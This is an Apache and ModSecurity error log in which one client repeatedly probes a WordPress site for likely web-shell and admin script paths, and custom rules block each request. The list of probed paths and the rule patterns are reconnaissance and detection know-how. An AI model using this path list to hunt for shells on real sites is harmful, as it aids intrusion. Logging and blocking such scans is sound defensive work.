[Fri Feb 13 03:08:26.355188 2026] [:error] [pid 37512:tid 37618] [client 20.234.103.39:6038] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/index.php"] [unique_id "aY4lKtDe69znS-f6vSZuNQAAAAk"]
[Fri Feb 13 03:08:26.931723 2026] [:error] [pid 37512:tid 37616] [client 20.234.103.39:6023] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aY4lKtDe69znS-f6vSZuNwAAAAc"]
[Fri Feb 13 03:08:27.515583 2026] [:error] [pid 23410:tid 23429] [client 20.234.103.39:6030] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aY4lKxXZP6NFBacuW_1bIgAAAJE"]
[Fri Feb 13 03:08:28.073642 2026] [:error] [pid 23410:tid 23414] [client 20.234.103.39:6473] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aY4lLBXZP6NFBacuW_1bJQAAAII"]
[Fri Feb 13 03:08:28.595036 2026] [:error] [pid 23410:tid 23422] [client 20.234.103.39:6025] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/network/plugins.php"] [unique_id "aY4lLBXZP6NFBacuW_1bJwAAAIo"]
[Fri Feb 13 03:08:29.139638 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:5955] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY4lLZUcWP4qWM7hWskzeAAAANE"]
[Fri Feb 13 03:08:29.701465 2026] [:error] [pid 37512:tid 37627] [client 20.234.103.39:6062] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY4lLdDe69znS-f6vSZuQAAAABE"]
[Fri Feb 13 03:08:30.202713 2026] [:error] [pid 37856:tid 37881] [client 20.234.103.39:6414] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY4lLpUcWP4qWM7hWskzeQAAANY"]
[Fri Feb 13 03:08:30.718363 2026] [:error] [pid 37512:tid 37617] [client 20.234.103.39:6083] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/about.php"] [unique_id "aY4lLtDe69znS-f6vSZuRAAAAAg"]
[Fri Feb 13 03:08:31.218461 2026] [:error] [pid 37512:tid 37633] [client 20.234.103.39:6042] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aY4lL9De69znS-f6vSZuRwAAABY"]
[Fri Feb 13 03:08:31.743781 2026] [:error] [pid 37510:tid 37541] [client 20.234.103.39:5961] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aY4lL8UrqDPNSf1wYBW8SwAAAZg"]
[Fri Feb 13 03:08:32.260931 2026] [:error] [pid 37512:tid 37613] [client 20.234.103.39:6121] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aY4lMNDe69znS-f6vSZuTQAAAAU"]
[Fri Feb 13 03:08:32.815276 2026] [:error] [pid 23410:tid 23419] [client 20.234.103.39:6105] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gmo.php"] [unique_id "aY4lMBXZP6NFBacuW_1bLAAAAIc"]
[Fri Feb 13 03:08:33.344822 2026] [:error] [pid 37856:tid 37877] [client 20.234.103.39:6110] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aY4lMZUcWP4qWM7hWskzggAAANI"]
[Fri Feb 13 03:08:33.863870 2026] [:error] [pid 37511:tid 37598] [client 20.234.103.39:6046] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/index.php"] [unique_id "aY4lMe8EBJ86uZdxpA2iewAAAFE"]
[Fri Feb 13 03:08:34.397455 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6135] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/index.php"] [unique_id "aY4lMhXZP6NFBacuW_1bLQAAAIk"]
[Fri Feb 13 03:08:34.931187 2026] [:error] [pid 37511:tid 37600] [client 20.234.103.39:6074] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/index.php"] [unique_id "aY4lMu8EBJ86uZdxpA2iggAAAFM"]
[Fri Feb 13 03:08:35.458320 2026] [:error] [pid 37511:tid 37590] [client 20.234.103.39:6483] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/css/index.php"] [unique_id "aY4lM-8EBJ86uZdxpA2ihAAAAEk"]
[Fri Feb 13 03:08:35.998560 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6115] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aY4lMxXZP6NFBacuW_1bMQAAAJM"]
[Fri Feb 13 03:08:36.527082 2026] [:error] [pid 37856:tid 37876] [client 20.234.103.39:6444] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY4lNJUcWP4qWM7hWskzhwAAANE"]
[Fri Feb 13 03:08:37.102405 2026] [:error] [pid 37511:tid 37601] [client 20.234.103.39:6116] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY4lNe8EBJ86uZdxpA2ihgAAAFQ"]
[Fri Feb 13 03:08:37.735780 2026] [:error] [pid 37510:tid 37532] [client 20.234.103.39:6073] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY4lNcUrqDPNSf1wYBW8VgAAAZA"]
[Fri Feb 13 03:08:38.331398 2026] [:error] [pid 37510:tid 37516] [client 20.234.103.39:6075] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aY4lNsUrqDPNSf1wYBW8WAAAAYA"]
[Fri Feb 13 03:08:38.881708 2026] [:error] [pid 37511:tid 37580] [client 20.234.103.39:6137] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aY4lNu8EBJ86uZdxpA2iigAAAEA"]
[Fri Feb 13 03:08:39.450475 2026] [:error] [pid 37511:tid 37599] [client 20.234.103.39:6033] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aY4lN-8EBJ86uZdxpA2ijAAAAFI"]
[Fri Feb 13 03:08:39.964953 2026] [:error] [pid 37510:tid 37535] [client 20.234.103.39:6018] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aY4lN8UrqDPNSf1wYBW8XAAAAZM"]
[Fri Feb 13 03:08:40.504875 2026] [:error] [pid 37511:tid 37592] [client 20.234.103.39:6125] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/filemanager/dialog.php"] [unique_id "aY4lOO8EBJ86uZdxpA2ijgAAAEs"]
[Fri Feb 13 03:08:41.044052 2026] [:error] [pid 37512:tid 37625] [client 20.234.103.39:5965] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aY4lOdDe69znS-f6vSZuVwAAAA8"]
[Fri Feb 13 03:08:41.584849 2026] [:error] [pid 23410:tid 23435] [client 20.234.103.39:5994] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aY4lORXZP6NFBacuW_1bPQAAAJc"]
[Fri Feb 13 03:08:42.137478 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6442] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aY4lOhXZP6NFBacuW_1bPwAAAIY"]
[Fri Feb 13 03:08:42.797787 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:5988] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-admin/maint/index.php"] [unique_id "aY4lOhXZP6NFBacuW_1bQQAAAJM"]
[Fri Feb 13 03:08:43.363975 2026] [:error] [pid 37510:tid 37519] [client 20.234.103.39:6474] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aY4lO8UrqDPNSf1wYBW8YgAAAYM"]
[Fri Feb 13 03:08:43.904107 2026] [:error] [pid 23410:tid 23433] [client 20.234.103.39:6141] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aY4lOxXZP6NFBacuW_1bRwAAAJU"]
[Fri Feb 13 03:08:44.480587 2026] [:error] [pid 37510:tid 37521] [client 20.234.103.39:5990] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aY4lPMUrqDPNSf1wYBW8ZQAAAYU"]
[Fri Feb 13 03:08:45.077188 2026] [:error] [pid 23410:tid 23415] [client 20.234.103.39:6117] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aY4lPRXZP6NFBacuW_1bTgAAAIM"]
[Fri Feb 13 03:08:45.633082 2026] [:error] [pid 23410:tid 23423] [client 20.234.103.39:6436] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/index/function.php"] [unique_id "aY4lPRXZP6NFBacuW_1bUAAAAIs"]
[Fri Feb 13 03:08:46.206182 2026] [:error] [pid 23410:tid 23414] [client 20.234.103.39:5952] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aY4lPhXZP6NFBacuW_1bUwAAAII"]
[Fri Feb 13 03:08:46.761570 2026] [:error] [pid 37856:tid 37863] [client 20.234.103.39:6445] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aY4lPpUcWP4qWM7hWskzjQAAAMQ"]
[Fri Feb 13 03:08:47.438810 2026] [:error] [pid 23410:tid 23431] [client 20.234.103.39:6127] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uploads/autoload_classmap.php"] [unique_id "aY4lPxXZP6NFBacuW_1bWQAAAJM"]
[Fri Feb 13 03:08:48.303407 2026] [:error] [pid 37511:tid 37602] [client 20.234.103.39:5972] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aY4lQO8EBJ86uZdxpA2ilwAAAFU"]
[Fri Feb 13 03:08:48.820614 2026] [proxy_fcgi:error] [pid 23410:tid 23413] [client 20.234.103.39:5895] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:08:49.586455 2026] [proxy_fcgi:error] [pid 23410:tid 23414] [client 20.234.103.39:5895] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:08:50.096618 2026] [proxy_fcgi:error] [pid 23410:tid 23416] [client 20.234.103.39:5895] AH01071: Got error 'Primary script unknown'
[Fri Feb 13 03:08:51.217109 2026] [:error] [pid 23410:tid 23425] [client 20.234.103.39:5895] [client 20.234.103.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aY4lQxXZP6NFBacuW_1bdAAAAI0"]
[Fri Feb 13 03:08:52.088779 2026] [:error] [pid 37510:tid 37516] [client 20.234.103.39:6078] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aY4lRMUrqDPNSf1wYBW8aQAAAYA"]
[Fri Feb 13 03:08:52.682472 2026] [:error] [pid 37511:tid 37593] [client 20.234.103.39:6037] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aY4lRO8EBJ86uZdxpA2imQAAAEw"]
[Fri Feb 13 03:08:53.293277 2026] [:error] [pid 23410:tid 23433] [client 20.234.103.39:5888] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aY4lRRXZP6NFBacuW_1beQAAAJU"]
[Fri Feb 13 03:08:53.823339 2026] [:error] [pid 37856:tid 37868] [client 20.234.103.39:6048] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aY4lRZUcWP4qWM7hWskznAAAAMk"]
[Fri Feb 13 03:08:54.479785 2026] [:error] [pid 23410:tid 23436] [client 20.234.103.39:6015] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY4lRhXZP6NFBacuW_1bfAAAAJg"]
[Fri Feb 13 03:08:55.133799 2026] [:error] [pid 37856:tid 37870] [client 20.234.103.39:6140] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY4lR5UcWP4qWM7hWskzoAAAAMs"]
[Fri Feb 13 03:08:55.719070 2026] [:error] [pid 37856:tid 37861] [client 20.234.103.39:6097] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY4lR5UcWP4qWM7hWskzowAAAMI"]
[Fri Feb 13 03:08:56.340947 2026] [:error] [pid 23410:tid 23414] [client 20.234.103.39:5996] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY4lSBXZP6NFBacuW_1bgAAAAII"]
[Fri Feb 13 03:08:57.091966 2026] [:error] [pid 23410:tid 23421] [client 20.234.103.39:6071] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY4lSRXZP6NFBacuW_1bhgAAAIk"]
[Fri Feb 13 03:08:57.751458 2026] [:error] [pid 37512:tid 37611] [client 20.234.103.39:6031] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY4lSdDe69znS-f6vSZuZAAAAAM"]
[Fri Feb 13 03:08:58.414103 2026] [:error] [pid 23410:tid 23418] [client 20.234.103.39:6133] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY4lShXZP6NFBacuW_1biQAAAIY"]
[Fri Feb 13 03:08:59.099030 2026] [:error] [pid 37512:tid 37610] [client 20.234.103.39:6065] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aY4lS9De69znS-f6vSZuZgAAAAI"]
[Fri Feb 13 03:08:59.704996 2026] [:error] [pid 23410:tid 23428] [client 20.234.103.39:5951] [client 20.234.103.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/plugins/admin.php"] [unique_id "aY4lSxXZP6NFBacuW_1bjgAAAJA"]
